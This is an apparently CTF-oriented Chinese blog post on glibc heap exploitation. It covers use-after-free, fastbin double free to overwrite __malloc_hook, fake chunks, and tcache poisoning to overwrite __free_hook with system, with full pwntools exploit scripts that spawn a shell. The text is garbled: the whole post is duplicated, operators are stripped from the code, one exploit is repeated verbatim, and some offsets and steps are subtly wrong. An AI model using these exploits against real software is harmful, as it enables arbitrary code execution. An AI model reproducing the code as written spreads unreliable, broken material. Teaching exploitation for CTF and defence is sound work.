写在前面在上一篇中我们精读了glibc堆结构并掌握了堆风水方法论。今天我们将深入探讨堆漏洞利用中最经典且基础的UAFUse After Free漏洞学习如何通过Double Free和堆块伪造技术控制堆流最终实现任意代码执行。这些技术是所有堆漏洞利用者的必修课也是理解更高级堆利用技术的基础。 目录UAF漏洞原理与利用条件Double Free传统版利用详解伪造堆块技术Tcache Poisoning原理与实战实战案例利用UAF获取Shell总结与防御建议1. UAF漏洞原理与利用条件1.1 什么是UAF漏洞UAFUse After Free漏洞是指程序在释放动态分配的内存后仍然继续使用指向该内存的指针csdn.net1。这种漏洞的本质是程序逻辑与内存管理器的认知差异程序认为内存已释放不可访问但攻击者仍可通过残留的悬垂指针操作已释放内存csdn.net。UAF漏洞的三种典型情况csdn.net释放后指针被置NULL再次使用会导致程序崩溃难以利用。释放后指针未置NULL且无修改可能正常工作但存在安全隐患。释放后指针未置NULL且被修改攻击者可通过修改堆块元数据控制程序流。我们主要利用第2和第3种情况特别是第3种通过精心构造数据实现控制流劫持csdn.net。1.2 UAF漏洞利用条件成功利用UAF漏洞通常需要满足以下条件条件描述实现方式悬垂指针释放堆块后指针未置NULL程序逻辑缺陷堆块可控能通过UAF修改已释放堆块的内容UAF漏洞本身重新分配能将目标堆块重新分配回来合适的堆风水布局地址预测知道或能预测目标地址信息泄露或固定地址1.3 UAF漏洞利用流程释放目标堆块产生悬垂指针通过UAF修改堆块内容如fd指针或函数指针重新分配堆块将目标堆块申请回来通过修改后的指针实现任意地址读/写或控制流劫持获取Shell或提升权限2. Double Free传统版利用详解2.1 Double Free漏洞原理Double Free是指同一个堆块被释放两次csdn.net1。在glibc 2.23及以下版本中fastbin的double free检测较弱仅检查释放的chunk和bin头部的chunk是否一致csdn.net。因此我们可以通过在两次free之间free一个其他堆块来绕过检测。Double Free在fastbin中的链表变化初始状态: fastbin[idx] - chunk0 - NULL 第一次free(chunk0): fastbin[idx] - chunk0 - NULL (此时chunk0-fd NULL) free(chunk1): fastbin[idx] - chunk1 - chunk0 - NULL 第二次free(chunk0): fastbin[idx] - chunk0 - chunk1 - chunk0 - ... (形成环)2.2 传统Double Free利用步骤以glibc 2.23为例利用步骤如下csdn.net1堆布局准备申请多个堆块确保目标堆块在fastbin范围内0x20-0x80字节。信息泄露通过UAF读取unsorted bin中的libc地址计算libc基址。Double Free触发按照free(A); free(B); free(A);的模式触发double free。修改fd指针通过UAF修改fastbin中chunk的fd指针指向__malloc_hook附近的地址。申请目标堆块连续malloc三次第三次返回目标地址处的堆块。覆盖hook函数将__malloc_hook覆盖为one_gadget地址。触发malloc再次调用malloc执行one_gadget获取Shell。2.3 利用代码示例from pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序 p process(./heap_uaf) elf ELF(./heap_uaf) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局申请三个堆块 add(0x68, bA * 0x68) # chunk0 add(0x68, bB * 0x68) # chunk1 add(0x80, bC * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针获取main_arena地址 leaked_addr u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_addr - libc.symbols[__malloc_hook] - 0x10 log.info(flibc base: {hex(libc_base)}) # 5. 计算关键地址 malloc_hook_addr libc_base libc.symbols[__malloc_hook] one_gadget_addr libc_base 0x4f322 # 示例one_gadget地址需根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来修改其fd指针 # 8. 连续申请最终获取__malloc_hook附近的堆块 add(0x68, bD * 0x68) # 申请chunk1 add(0x68, bE * 0x68) # 申请chunk0 add(0x68, bF * 0x13 p64(one_gadget_addr)) # 申请目标堆块覆盖__malloc_hook # 9. 触发malloc执行one_gadget p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , b32) p.interactive()3. 伪造堆块技术3.1 为什么需要伪造堆块当程序没有UAF漏洞但存在堆溢出时我们可以通过溢出修改相邻堆块的元数据伪造一个chunk结构然后通过free将其放入bin中后续malloc获取该堆块实现任意地址写入csdn.net。3.2 伪造堆块的基本原理伪造堆块需要满足以下条件csdn.net目标地址可写能控制目标地址的内存内容。合适的size字段伪造的chunk的size字段需要满足bin的要求如fastbin要求size在0x20-0x80范围内。正确的fd/bk指针根据bin类型设置正确的链表指针。3.3 伪造堆块利用示例假设存在堆溢出漏洞我们可以通过以下步骤伪造堆块csdn.net堆布局申请多个堆块确保目标地址位于两个堆块之间。溢出修改通过堆溢出修改目标地址处的size字段和fd指针。释放伪造堆块将伪造的堆块free放入对应的bin中。申请目标堆块通过malloc获取伪造的堆块实现任意地址写入。示例代码// 假设存在堆溢出漏洞 void vulnerable_function() { char *chunk1 malloc(0x20); char *chunk2 malloc(0x20); char *chunk3 malloc(0x20); // 溢出chunk2修改chunk3的size字段和fd指针 // 目标地址为0x8049000我们希望伪造一个大小为0x41的chunk *(size_t *)(chunk2 0x20) 0x41; // 修改chunk3的size字段 *(void **)(chunk2 0x28) (void *)0x8049000; // 修改chunk3的fd指针 free(chunk3); // 释放伪造的chunk进入fastbin malloc(0x38); // 申请堆块获取0x8049000处的内存 }4. Tcache Poisoning原理与实战4.1 Tcache机制回顾TcacheThread Local Caching是glibc 2.26引入的线程缓存机制用于加速小内存分配csdn.net1。每个线程维护一个tcache_perthread_struct结构体包含多个单链表用于缓存小chunk。Tcache的特性线程隔离每个线程独立维护tcache无锁竞争52pojie.cn。优先分配malloc时优先从tcache获取csdn.net。优先释放free时优先放入tcache如果未满csdn.net。数量限制每个size最多7个chunkcsdn.net。4.2 Tcache Poisoning原理Tcache Poisoning是指通过UAF或堆溢出修改tcache中的next指针使其指向任意地址从而实现任意地址分配csdn.net1。由于tcache的检查较弱特别是glibc 2.26-2.28版本这种攻击非常容易实施。Tcache Poisoning利用流程通过UAF修改tcache中chunk的next指针指向目标地址连续malloc两次第一次返回正常chunk第二次返回目标地址处的chunk实现任意地址读写4.3 Tcache Double Free绕过在glibc 2.29版本中tcache引入了key字段来检测double freecsdn.net2。每次free时会检查chunk的key字段是否等于tcache结构体地址如果相等则遍历tcache链表检查是否已存在该chunk。绕过方法破坏key字段通过UAF修改chunk的key字段使其不等于tcache地址butian.net1。改变chunk大小通过溢出修改chunk的size字段使其进入不同的tcache bincsdn.net1。House of Botcake利用unsorted bin和tcache的机制使同一chunk同时存在于unsorted bin和tcache中butian.net2。4.4 Tcache Poisoning实战示例from pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序glibc 2.27无key字段 p process(./tcache_poisoning) elf ELF(./tcache_poisoning) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局 add(0x40, bA * 0x40) # chunk0 add(0x40, bB * 0x40) # chunk1 add(0x40, bC * 0x40) # chunk2 # 4. 泄露堆地址 free(1) # 释放chunk1进入tcache show(1) # 通过UAF读取chunk1的next指针获取堆地址 leaked_heap u64(p.recv(6).ljust(8, b\x00)) heap_base leaked_heap - 0x250 # 根据实际偏移调整 log.info(fheap base: {hex(heap_base)}) # 5. Tcache Poisoning # 目标地址__free_hook free_hook_addr libc.symbols[__free_hook] system_addr libc.symbols[system] # 6. 修改tcache中chunk的next指针 free(0) # 释放chunk0进入tcache # 通过UAF修改chunk0的next指针指向__free_hook add(0x40, p64(free_hook_addr)) # 修改next指针 # 7. 连续申请获取__free_hook处的堆块 add(0x40, bD * 0x40) # 申请chunk0 add(0x40, p64(system_addr)) # 申请__free_hook处的堆块覆盖为system地址 # 8. 释放包含/bin/sh的堆块触发system(/bin/sh) add(0x40, b/bin/sh\x00) # chunk3 free(3) # 触发system(/bin/sh) p.interactive()5. 实战案例利用UAF获取Shell5.1 题目背景以一个典型的菜单堆题为例程序实现了增删改查功能但删除功能未将指针置NULL存在UAF漏洞csdn.net1。程序保护全开glibc版本为2.23。5.2 利用思路利用UAF泄露libc地址通过Double Free构造fastbin环修改fd指针指向__malloc_hook附近申请堆块覆盖__malloc_hook为one_gadget触发malloc执行one_gadget获取Shell5.3 完整EXPfrom pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序 p process(./heap_exploit) elf ELF(./heap_exploit) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局 add(0x68, bA * 0x68) # chunk0 add(0x68, bB * 0x68) # chunk1 add(0x80, bC * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针获取main_arena地址 leaked_addr u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_addr - libc.symbols[__malloc_hook] - 0x10 log.info(flibc base: {hex(libc_base)}) # 5. 计算关键地址 malloc_hook_addr libc_base libc.symbols[__malloc_hook] one_gadget_addr libc_base 0x4f322 # 根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来修改其fd指针 # 8. 连续申请最终获取__malloc_hook附近的堆块 add(0x68, bD * 0x68) # 申请chunk1 add(0x68, bE * 0x68) # 申请chunk0 add(0x68, bF * 0x13 p64(one_gadget_addr)) # 申请目标堆块覆盖__malloc_hook # 9. 触发malloc执行one_gadget p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , b32) p.interactive()6. 总结与防御建议6.1 核心知识点总结UAF漏洞是堆利用的基础通过悬垂指针操作已释放内存实现任意地址读写csdn.net1。Double Free通过两次释放同一堆块构造fastbin环修改fd指针实现任意地址分配csdn.net1。伪造堆块通过堆溢出修改堆块元数据伪造chunk结构放入bin中实现任意地址写入csdn.net。Tcache Poisoning利用tcache机制通过UAF修改next指针实现任意地址分配在高版本glibc中需绕过key检查csdn.net1。6.2 防御建议安全编码释放指针后立即置NULL避免悬垂指针csdn.net。边界检查对堆操作进行严格的边界检查防止堆溢出csdn.net。编译器防护启用ASLR、PIE、NX、Canary等保护机制csdn.net。运行时检测使用AddressSanitizer等工具检测内存错误csdn.net。glibc更新及时更新glibc版本使用最新的安全机制butian.net1。6.3 进阶学习方向details summary 推荐学习路径/summaryHouse of系列技术学习House of Spirit、House of Force、House of Lore等高级堆利用技术。内核堆利用研究Linux内核slab/slub分配器内核ROP技术。JIT编译器漏洞探索V8、SpiderMonkey等JIT编译器中的堆漏洞利用。自动化漏洞挖掘学习使用AFL、libFuzzer等工具进行堆漏洞挖掘。新型防护机制绕过研究Safe-Linking、MPX、CET等新型防护机制的绕过方法。/details6.4 下篇预告下一篇我们将深入学习Unsorted Bin Attack与Large Bin Attack包括Unsorted Bin Attack原理与利用条件Large Bin Attack在2022高频场景中的应用实战案例利用Unsorted Bin Attack实现任意地址写入现代glibc中的防护机制与绕过方法 知识图谱总结UAF与堆块伪造UAF漏洞原理定义与本质:释放后继续使用内存:程序逻辑与内存管理器认知差异利用条件:悬垂指针:堆块可控:重新分配:地址预测利用流程:释放堆块:修改堆块内容:重新分配:控制流劫持Double Free利用原理与检测:fastbin检测弱点:两次free同一堆块利用步骤:堆布局准备:信息泄露:Double Free触发:修改fd指针:覆盖hook函数代码示例:glibc 2.23环境:完整EXP展示伪造堆块技术应用场景:无UAF但有堆溢出基本原理:修改size字段:设置fd/bk指针利用示例:溢出修改元数据:释放伪造堆块:申请目标堆块Tcache PoisoningTcache机制:线程缓存:优先分配释放:数量限制Poisoning原理:修改next指针:任意地址分配Double Free绕过:破坏key字段:改变chunk大小:House of Botcake实战示例:glibc 2.27环境:完整EXP展示实战案例题目背景:菜单堆题:UAF漏洞利用思路:泄露libc地址:Double Free构造环:覆盖__malloc_hook:触发one_gadget完整EXP:环境初始化:堆布局:信息泄露:利用与Shell获取最终结论UAF漏洞是堆利用的核心技术通过Double Free和堆块伪造我们可以控制堆流实现任意代码执行。理解这些技术原理不仅能帮助你解决CTF堆题更能让你深入理解内存管理机制写出更安全的代码。在攻防博弈中堆漏洞利用是二进制安全研究者的必备技能csdn.net2。参考文献ctfpwn入门第一次学堆_pwn堆入门-CSDN博客libc.2.29漏洞利用及原理_tcache 2.29-CSDN博客CTF PWN实战手把手教你利用UAF漏洞绕过libc-2.23的Double Free检测Tcache attack小记深入理解 House of Botcake 堆利用手法[CTF]PWN–堆–UAF漏洞_pwn uaf-CSDN博客【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客House of Botcake-CSDN博客别只盯着flag从蓝桥杯一道PWN题聊聊Linux堆利用的UAF漏洞实战Double Free浅析(泄露堆地址的一种方法)_double free 原理-CSDN博客House of botcake与IOFILE任意读写PWN——uaf漏洞学习 - Riv4aille - 博客园fastbin_tcache - brain_Z - 博客园【我的 PWN 学习手札】Tcache Poisoning-CSDN博客别再死记硬背了用GDB动态调试理解libc2.23的UAF和Fastbin Attack[CTF]how2heap全集及例题详细解析(5~6部分)
【学习记录】Week9(二):UAF漏洞利用与堆块伪造——从Double Free到Tcache Poisoning
发布时间:2026/7/2 14:25:58
写在前面在上一篇中我们精读了glibc堆结构并掌握了堆风水方法论。今天我们将深入探讨堆漏洞利用中最经典且基础的UAFUse After Free漏洞学习如何通过Double Free和堆块伪造技术控制堆流最终实现任意代码执行。这些技术是所有堆漏洞利用者的必修课也是理解更高级堆利用技术的基础。 目录UAF漏洞原理与利用条件Double Free传统版利用详解伪造堆块技术Tcache Poisoning原理与实战实战案例利用UAF获取Shell总结与防御建议1. UAF漏洞原理与利用条件1.1 什么是UAF漏洞UAFUse After Free漏洞是指程序在释放动态分配的内存后仍然继续使用指向该内存的指针csdn.net1。这种漏洞的本质是程序逻辑与内存管理器的认知差异程序认为内存已释放不可访问但攻击者仍可通过残留的悬垂指针操作已释放内存csdn.net。UAF漏洞的三种典型情况csdn.net释放后指针被置NULL再次使用会导致程序崩溃难以利用。释放后指针未置NULL且无修改可能正常工作但存在安全隐患。释放后指针未置NULL且被修改攻击者可通过修改堆块元数据控制程序流。我们主要利用第2和第3种情况特别是第3种通过精心构造数据实现控制流劫持csdn.net。1.2 UAF漏洞利用条件成功利用UAF漏洞通常需要满足以下条件条件描述实现方式悬垂指针释放堆块后指针未置NULL程序逻辑缺陷堆块可控能通过UAF修改已释放堆块的内容UAF漏洞本身重新分配能将目标堆块重新分配回来合适的堆风水布局地址预测知道或能预测目标地址信息泄露或固定地址1.3 UAF漏洞利用流程释放目标堆块产生悬垂指针通过UAF修改堆块内容如fd指针或函数指针重新分配堆块将目标堆块申请回来通过修改后的指针实现任意地址读/写或控制流劫持获取Shell或提升权限2. Double Free传统版利用详解2.1 Double Free漏洞原理Double Free是指同一个堆块被释放两次csdn.net1。在glibc 2.23及以下版本中fastbin的double free检测较弱仅检查释放的chunk和bin头部的chunk是否一致csdn.net。因此我们可以通过在两次free之间free一个其他堆块来绕过检测。Double Free在fastbin中的链表变化初始状态: fastbin[idx] - chunk0 - NULL 第一次free(chunk0): fastbin[idx] - chunk0 - NULL (此时chunk0-fd NULL) free(chunk1): fastbin[idx] - chunk1 - chunk0 - NULL 第二次free(chunk0): fastbin[idx] - chunk0 - chunk1 - chunk0 - ... (形成环)2.2 传统Double Free利用步骤以glibc 2.23为例利用步骤如下csdn.net1堆布局准备申请多个堆块确保目标堆块在fastbin范围内0x20-0x80字节。信息泄露通过UAF读取unsorted bin中的libc地址计算libc基址。Double Free触发按照free(A); free(B); free(A);的模式触发double free。修改fd指针通过UAF修改fastbin中chunk的fd指针指向__malloc_hook附近的地址。申请目标堆块连续malloc三次第三次返回目标地址处的堆块。覆盖hook函数将__malloc_hook覆盖为one_gadget地址。触发malloc再次调用malloc执行one_gadget获取Shell。2.3 利用代码示例from pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序 p process(./heap_uaf) elf ELF(./heap_uaf) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局申请三个堆块 add(0x68, bA * 0x68) # chunk0 add(0x68, bB * 0x68) # chunk1 add(0x80, bC * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针获取main_arena地址 leaked_addr u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_addr - libc.symbols[__malloc_hook] - 0x10 log.info(flibc base: {hex(libc_base)}) # 5. 计算关键地址 malloc_hook_addr libc_base libc.symbols[__malloc_hook] one_gadget_addr libc_base 0x4f322 # 示例one_gadget地址需根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来修改其fd指针 # 8. 连续申请最终获取__malloc_hook附近的堆块 add(0x68, bD * 0x68) # 申请chunk1 add(0x68, bE * 0x68) # 申请chunk0 add(0x68, bF * 0x13 p64(one_gadget_addr)) # 申请目标堆块覆盖__malloc_hook # 9. 触发malloc执行one_gadget p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , b32) p.interactive()3. 伪造堆块技术3.1 为什么需要伪造堆块当程序没有UAF漏洞但存在堆溢出时我们可以通过溢出修改相邻堆块的元数据伪造一个chunk结构然后通过free将其放入bin中后续malloc获取该堆块实现任意地址写入csdn.net。3.2 伪造堆块的基本原理伪造堆块需要满足以下条件csdn.net目标地址可写能控制目标地址的内存内容。合适的size字段伪造的chunk的size字段需要满足bin的要求如fastbin要求size在0x20-0x80范围内。正确的fd/bk指针根据bin类型设置正确的链表指针。3.3 伪造堆块利用示例假设存在堆溢出漏洞我们可以通过以下步骤伪造堆块csdn.net堆布局申请多个堆块确保目标地址位于两个堆块之间。溢出修改通过堆溢出修改目标地址处的size字段和fd指针。释放伪造堆块将伪造的堆块free放入对应的bin中。申请目标堆块通过malloc获取伪造的堆块实现任意地址写入。示例代码// 假设存在堆溢出漏洞 void vulnerable_function() { char *chunk1 malloc(0x20); char *chunk2 malloc(0x20); char *chunk3 malloc(0x20); // 溢出chunk2修改chunk3的size字段和fd指针 // 目标地址为0x8049000我们希望伪造一个大小为0x41的chunk *(size_t *)(chunk2 0x20) 0x41; // 修改chunk3的size字段 *(void **)(chunk2 0x28) (void *)0x8049000; // 修改chunk3的fd指针 free(chunk3); // 释放伪造的chunk进入fastbin malloc(0x38); // 申请堆块获取0x8049000处的内存 }4. Tcache Poisoning原理与实战4.1 Tcache机制回顾TcacheThread Local Caching是glibc 2.26引入的线程缓存机制用于加速小内存分配csdn.net1。每个线程维护一个tcache_perthread_struct结构体包含多个单链表用于缓存小chunk。Tcache的特性线程隔离每个线程独立维护tcache无锁竞争52pojie.cn。优先分配malloc时优先从tcache获取csdn.net。优先释放free时优先放入tcache如果未满csdn.net。数量限制每个size最多7个chunkcsdn.net。4.2 Tcache Poisoning原理Tcache Poisoning是指通过UAF或堆溢出修改tcache中的next指针使其指向任意地址从而实现任意地址分配csdn.net1。由于tcache的检查较弱特别是glibc 2.26-2.28版本这种攻击非常容易实施。Tcache Poisoning利用流程通过UAF修改tcache中chunk的next指针指向目标地址连续malloc两次第一次返回正常chunk第二次返回目标地址处的chunk实现任意地址读写4.3 Tcache Double Free绕过在glibc 2.29版本中tcache引入了key字段来检测double freecsdn.net2。每次free时会检查chunk的key字段是否等于tcache结构体地址如果相等则遍历tcache链表检查是否已存在该chunk。绕过方法破坏key字段通过UAF修改chunk的key字段使其不等于tcache地址butian.net1。改变chunk大小通过溢出修改chunk的size字段使其进入不同的tcache bincsdn.net1。House of Botcake利用unsorted bin和tcache的机制使同一chunk同时存在于unsorted bin和tcache中butian.net2。4.4 Tcache Poisoning实战示例from pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序glibc 2.27无key字段 p process(./tcache_poisoning) elf ELF(./tcache_poisoning) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局 add(0x40, bA * 0x40) # chunk0 add(0x40, bB * 0x40) # chunk1 add(0x40, bC * 0x40) # chunk2 # 4. 泄露堆地址 free(1) # 释放chunk1进入tcache show(1) # 通过UAF读取chunk1的next指针获取堆地址 leaked_heap u64(p.recv(6).ljust(8, b\x00)) heap_base leaked_heap - 0x250 # 根据实际偏移调整 log.info(fheap base: {hex(heap_base)}) # 5. Tcache Poisoning # 目标地址__free_hook free_hook_addr libc.symbols[__free_hook] system_addr libc.symbols[system] # 6. 修改tcache中chunk的next指针 free(0) # 释放chunk0进入tcache # 通过UAF修改chunk0的next指针指向__free_hook add(0x40, p64(free_hook_addr)) # 修改next指针 # 7. 连续申请获取__free_hook处的堆块 add(0x40, bD * 0x40) # 申请chunk0 add(0x40, p64(system_addr)) # 申请__free_hook处的堆块覆盖为system地址 # 8. 释放包含/bin/sh的堆块触发system(/bin/sh) add(0x40, b/bin/sh\x00) # chunk3 free(3) # 触发system(/bin/sh) p.interactive()5. 实战案例利用UAF获取Shell5.1 题目背景以一个典型的菜单堆题为例程序实现了增删改查功能但删除功能未将指针置NULL存在UAF漏洞csdn.net1。程序保护全开glibc版本为2.23。5.2 利用思路利用UAF泄露libc地址通过Double Free构造fastbin环修改fd指针指向__malloc_hook附近申请堆块覆盖__malloc_hook为one_gadget触发malloc执行one_gadget获取Shell5.3 完整EXPfrom pwn import * # 1. 初始化环境 context.arch amd64 context.os linux context.log_level debug # 2. 加载目标程序 p process(./heap_exploit) elf ELF(./heap_exploit) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , str(size).encode()) p.sendlineafter(bcontent: , content) def free(idx): p.sendlineafter(bchoice: , b2) p.sendlineafter(bindex: , str(idx).encode()) def show(idx): p.sendlineafter(bchoice: , b3) p.sendlineafter(bindex: , str(idx).encode()) # 3. 堆布局 add(0x68, bA * 0x68) # chunk0 add(0x68, bB * 0x68) # chunk1 add(0x80, bC * 0x80) # chunk2 (用于泄露libc) # 4. 泄露libc地址 free(2) # 释放chunk2进入unsorted bin show(2) # 通过UAF读取chunk2的fd指针获取main_arena地址 leaked_addr u64(p.recv(6).ljust(8, b\x00)) libc_base leaked_addr - libc.symbols[__malloc_hook] - 0x10 log.info(flibc base: {hex(libc_base)}) # 5. 计算关键地址 malloc_hook_addr libc_base libc.symbols[__malloc_hook] one_gadget_addr libc_base 0x4f322 # 根据实际libc版本调整 # 6. Double Free利用 free(0) # 第一次free chunk0 free(1) # free chunk1 free(0) # 第二次free chunk0形成环 # 7. 修改fd指针指向__malloc_hook附近 # 需要找到一个合适的size字段使得malloc认为这是一个有效的chunk # 通常选择__malloc_hook - 0x23处的地址因为size字段为0x7f add(0x68, p64(malloc_hook_addr - 0x23)) # chunk0被申请回来修改其fd指针 # 8. 连续申请最终获取__malloc_hook附近的堆块 add(0x68, bD * 0x68) # 申请chunk1 add(0x68, bE * 0x68) # 申请chunk0 add(0x68, bF * 0x13 p64(one_gadget_addr)) # 申请目标堆块覆盖__malloc_hook # 9. 触发malloc执行one_gadget p.sendlineafter(bchoice: , b1) p.sendlineafter(bsize: , b32) p.interactive()6. 总结与防御建议6.1 核心知识点总结UAF漏洞是堆利用的基础通过悬垂指针操作已释放内存实现任意地址读写csdn.net1。Double Free通过两次释放同一堆块构造fastbin环修改fd指针实现任意地址分配csdn.net1。伪造堆块通过堆溢出修改堆块元数据伪造chunk结构放入bin中实现任意地址写入csdn.net。Tcache Poisoning利用tcache机制通过UAF修改next指针实现任意地址分配在高版本glibc中需绕过key检查csdn.net1。6.2 防御建议安全编码释放指针后立即置NULL避免悬垂指针csdn.net。边界检查对堆操作进行严格的边界检查防止堆溢出csdn.net。编译器防护启用ASLR、PIE、NX、Canary等保护机制csdn.net。运行时检测使用AddressSanitizer等工具检测内存错误csdn.net。glibc更新及时更新glibc版本使用最新的安全机制butian.net1。6.3 进阶学习方向details summary 推荐学习路径/summaryHouse of系列技术学习House of Spirit、House of Force、House of Lore等高级堆利用技术。内核堆利用研究Linux内核slab/slub分配器内核ROP技术。JIT编译器漏洞探索V8、SpiderMonkey等JIT编译器中的堆漏洞利用。自动化漏洞挖掘学习使用AFL、libFuzzer等工具进行堆漏洞挖掘。新型防护机制绕过研究Safe-Linking、MPX、CET等新型防护机制的绕过方法。/details6.4 下篇预告下一篇我们将深入学习Unsorted Bin Attack与Large Bin Attack包括Unsorted Bin Attack原理与利用条件Large Bin Attack在2022高频场景中的应用实战案例利用Unsorted Bin Attack实现任意地址写入现代glibc中的防护机制与绕过方法 知识图谱总结UAF与堆块伪造UAF漏洞原理定义与本质:释放后继续使用内存:程序逻辑与内存管理器认知差异利用条件:悬垂指针:堆块可控:重新分配:地址预测利用流程:释放堆块:修改堆块内容:重新分配:控制流劫持Double Free利用原理与检测:fastbin检测弱点:两次free同一堆块利用步骤:堆布局准备:信息泄露:Double Free触发:修改fd指针:覆盖hook函数代码示例:glibc 2.23环境:完整EXP展示伪造堆块技术应用场景:无UAF但有堆溢出基本原理:修改size字段:设置fd/bk指针利用示例:溢出修改元数据:释放伪造堆块:申请目标堆块Tcache PoisoningTcache机制:线程缓存:优先分配释放:数量限制Poisoning原理:修改next指针:任意地址分配Double Free绕过:破坏key字段:改变chunk大小:House of Botcake实战示例:glibc 2.27环境:完整EXP展示实战案例题目背景:菜单堆题:UAF漏洞利用思路:泄露libc地址:Double Free构造环:覆盖__malloc_hook:触发one_gadget完整EXP:环境初始化:堆布局:信息泄露:利用与Shell获取最终结论UAF漏洞是堆利用的核心技术通过Double Free和堆块伪造我们可以控制堆流实现任意代码执行。理解这些技术原理不仅能帮助你解决CTF堆题更能让你深入理解内存管理机制写出更安全的代码。在攻防博弈中堆漏洞利用是二进制安全研究者的必备技能csdn.net2。参考文献ctfpwn入门第一次学堆_pwn堆入门-CSDN博客libc.2.29漏洞利用及原理_tcache 2.29-CSDN博客CTF PWN实战手把手教你利用UAF漏洞绕过libc-2.23的Double Free检测Tcache attack小记深入理解 House of Botcake 堆利用手法[CTF]PWN–堆–UAF漏洞_pwn uaf-CSDN博客【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客House of Botcake-CSDN博客别只盯着flag从蓝桥杯一道PWN题聊聊Linux堆利用的UAF漏洞实战Double Free浅析(泄露堆地址的一种方法)_double free 原理-CSDN博客House of botcake与IOFILE任意读写PWN——uaf漏洞学习 - Riv4aille - 博客园fastbin_tcache - brain_Z - 博客园【我的 PWN 学习手札】Tcache Poisoning-CSDN博客别再死记硬背了用GDB动态调试理解libc2.23的UAF和Fastbin Attack[CTF]how2heap全集及例题详细解析(5~6部分)